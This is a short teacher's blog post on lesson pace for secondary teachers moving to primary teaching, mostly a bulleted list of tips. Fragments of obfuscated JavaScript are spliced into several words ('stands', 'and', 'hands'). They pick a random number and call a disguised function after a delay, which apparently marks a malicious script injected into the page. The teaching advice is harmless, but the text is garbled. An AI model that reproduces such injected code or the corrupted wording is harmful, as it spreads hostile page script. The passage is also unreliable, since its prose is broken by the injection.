As part of my top tips for Secondary teachers converting to Primary teaching, tip #3 is make your teaching EPIC
The P of EPIC standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s for pace.
So what does pace look like in the classroom. – With pace it is important to remember that pace does not just mean speeding through everything: “Pace, not race.”
Here are some suggestions:
- AFL
- Allow silence
- Confident, enthusiastic adult delivery of lesson
- Controlled – by children
- Everyone engaged
- Flexibility
- Good behaviour management
- Good planning but ability to adapt
- High expectations of listening andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} attention
- Immediate feedback
- Knowing when to move on – responding to children
- Knowing when to slow things down
- Lesson organisation
- Names on sticks
- No handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s up
- No time is lost
- Pitch & expectations
- Shape/pattern/structure of lesson
- Subject knowledge/confidence
- Talk partners
- Think about input
- Time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} resource management
- Time limits
- Training in basic routines
- Variety of timed activities
- Wait for thinkers
Please add your own suggestions with a comment below.
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